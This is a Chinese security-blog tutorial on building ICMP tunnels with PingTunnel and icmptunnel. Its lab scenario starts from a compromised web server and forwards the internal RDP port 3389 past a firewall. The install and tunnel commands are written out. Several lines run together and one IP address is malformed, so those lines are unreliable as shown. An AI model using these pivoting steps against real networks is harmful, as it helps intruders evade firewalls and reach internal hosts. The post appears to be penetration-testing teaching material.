![1833ed8d4fc2a09dc06d33f64560a367.gif](https://img-blog.csdnimg.cn/img_convert/1833ed8d4fc2a09dc06d33f64560a367.gif)
![1833ed8d4fc2a09dc06d33f64560a367.gif](https://img-blog.csdnimg.cn/img_convert/1833ed8d4fc2a09dc06d33f64560a367.gif)
![af52b15499b71ab2dfdd3676ed7f0867.png](https://img-blog.csdnimg.cn/img_convert/af52b15499b71ab2dfdd3676ed7f0867.png)
目录
ICMP隧道
使用ICMP搭建隧道(PingTunnel)
使用ICMP搭建隧道(Icmptunnel)
![af52b15499b71ab2dfdd3676ed7f0867.png](https://img-blog.csdnimg.cn/img_convert/af52b15499b71ab2dfdd3676ed7f0867.png)
![3db79ea10fe06f3a7fb56cff320240ca.png](https://img-blog.csdnimg.cn/img_convert/3db79ea10fe06f3a7fb56cff320240ca.png)
![7a52b175bd7c35377f5e248fd45ba3f4.png](https://img-blog.csdnimg.cn/img_convert/7a52b175bd7c35377f5e248fd45ba3f4.png)
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。
![3db79ea10fe06f3a7fb56cff320240ca.png](https://img-blog.csdnimg.cn/img_convert/3db79ea10fe06f3a7fb56cff320240ca.png)
![7a52b175bd7c35377f5e248fd45ba3f4.png](https://img-blog.csdnimg.cn/img_convert/7a52b175bd7c35377f5e248fd45ba3f4.png)
PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,还可以为隧道设置密码。
拓扑图如下:
192.168.10.X 模拟公网地址,Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网存在一台WIndows机器,Web服务器可以与该机器连接。现在我们获取到了Web服务器的权限,想用ICMP搭建通往内网的隧道,连接内网Windows的3389端口。
PingTunnel的安装
#安装libpcap的依赖环境yum -y install byaccyum -y install flex bison #安装libpcap依赖库wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0./configuremake && make install #安装PingTunnelwget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelmake && make install
在Web服务器的操作
ptunnel -x shuteer #-x 指定连接密码
VPS的操作
ptunnel -p 192.168.10.129 -lp 1080 -da 10.10.10.10 -dp 3389 -x shuteer -p 指定ICMP隧道另一端的IP -lp:指定本地监听的端口 -da:指定要转发的目标机器的IP -dp:指定要转发的目标机器的端口 -x:指定连接密码
然后我们只需要远程连接192.168.10.129的1080端口就相当于连接了10.10.10.10的3389端口了。
![3db79ea10fe06f3a7fb56cff320240ca.png](https://img-blog.csdnimg.cn/img_convert/3db79ea10fe06f3a7fb56cff320240ca.png)
![7a52b175bd7c35377f5e248fd45ba3f4.png](https://img-blog.csdnimg.cn/img_convert/7a52b175bd7c35377f5e248fd45ba3f4.png)
适用场景:目标机器是Linux服务器的情况
攻击机:Redhat7 192.1.68.10.20
靶机:Centos7 192.168.10.13
ICMP隧道是指将TCP连接通过ICMP包进行隧道传送的一种方法。
icmptunnel是一个将IP流量封装到 ICMP echo请求和回复(ping)包中的隧道工具,是在允许 ping 的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMP echo流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。
icmptunnel的安装
分别在服务端和客户端安装 icmptunnel,安装过程如下
git clone https://github.com/jamesbarlow/icmptunnel.gitmake
服务端的操作:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all #禁用icmp回复./icmptunnel -s #监听重新打开一个命令行窗口ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #添加tun0网卡,分配隧道地址10.0.0.1/24
客户端的操作:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all #禁用icmp回复./icmptunnel 192.168.10.20 #连接服务端重新打开一个命令行窗口ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #添加tun0网卡,分配隧道地址10.0.0.2/24
至此,客户端和服务端已经打通了一条ICMP隧道。
接下来,在客户端和服务端分别用隧道的ip地址进行SSH连接。
![dfeeb12877cd26387a453e3b7e58c607.png](https://img-blog.csdnimg.cn/img_convert/dfeeb12877cd26387a453e3b7e58c607.png)
责编:Vivian
来源:谢公子博客
![0e2e177efd374b9c7ca45a3fcaf2e8e5.png](https://img-blog.csdnimg.cn/img_convert/0e2e177efd374b9c7ca45a3fcaf2e8e5.png)
![6188611d4c6fe6ab0b9f3a148b2bc2e3.png](https://img-blog.csdnimg.cn/img_convert/6188611d4c6fe6ab0b9f3a148b2bc2e3.png)
最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465)